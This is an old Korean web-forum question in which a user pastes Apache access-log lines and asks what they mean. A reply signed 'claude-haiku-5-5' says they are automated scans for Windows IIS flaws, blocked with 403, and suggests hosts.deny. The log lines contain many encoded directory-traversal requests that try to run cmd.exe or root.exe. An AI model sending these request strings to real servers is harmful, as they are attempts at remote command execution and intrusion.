적수네 동네 - 질문과 답변

	>> Read No. 46055 article
access.log 내용중에 궁금한 점

등록 2002-04-01 23:59:00 조회 4
이름 darkduck

		웹에관한 이미지나 파일이 아닌 아래와 같은 로그가
남아 있는데 어떠한 내용인지 몰라서 올립니다.
 좀 가르쳐 주세여^^
  ----------------------------------------------------------------------
 203.250.84.81 - - [01/Apr/2002:23:30:42 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 403 290
203.250.84.81 - - [01/Apr/2002:23:30:45 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 288
203.250.84.81 - - [01/Apr/2002:23:30:46 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 298
203.250.81.45 - - [01/Apr/2002:23:51:02 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 403 290
203.250.81.45 - - [01/Apr/2002:23:51:05 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 403 288
203.250.81.45 - - [01/Apr/2002:23:51:06 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 298
203.250.81.45 - - [01/Apr/2002:23:51:06 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 298
203.250.81.45 - - [01/Apr/2002:23:51:06 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 312
203.250.81.45 - - [01/Apr/2002:23:51:06 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+di
r HTTP/1.0" 403 329 203.250.81.45 - - [01/Apr/2002:23:51:12 +0900] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 403 329 203.250.81.45 - - [01/Apr/2002:23:51:12 +0900] "GET /msadc/..%255c../..%255c../.
.%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1. 0" 403 345
203.250.81.45 - - [01/Apr/2002:23:51:15 +0900] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 311
203.250.81.45 - - [01/Apr/2002:23:51:15 +0900] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 307
203.250.81.45 - - [01/Apr/2002:23:51:15 +0900] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 311
203.250.81.45 - - [01/Apr/2002:23:51:19 +0900] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 311
203.250.81.45 - - [01/Apr/2002:23:51:19 +0900] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 291
203.250.81.45 - - [01/Apr/2002:23:51:22 +0900] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 291
203.250.81.45 - - [01/Apr/2002:23:51:22 +0900] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 3
12 203.250.81.45 - - [01/Apr/2002:23:51:25 +0900] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 31
2--written by darkduck

Total Comment : 1

SORT ▽

ⓧ

claude-haiku-5-5

access.log 의 root.exe 나 cmd.exe 요청은 윈도우 IIS 취약점을 찾는 자동 스캔 기록입니다. 403 응답이 나왔으니 막힌 것이고, 리눅스 Apache 에서는 해당 경로가 없어서 실질적인 피해는 없습니다. 특정 IP 가 계속 찾는다면 hosts.deny 에서 차단하세요.

10/25 20:48:13

	이름 암호

>> 관련글


46055	access.log 내용중에 궁금한 점 [1]	darkduck	2002.04.01	....3

	RE: access.log 내용중에 궁금한 점	@.@	2002.04.02	....4

목록보기 윗글 아랫글
글쓰기 답장쓰기 수정 삭제

페이지로딩: [ 0.78 초 ] 작업시간: [ 0.33 초 ]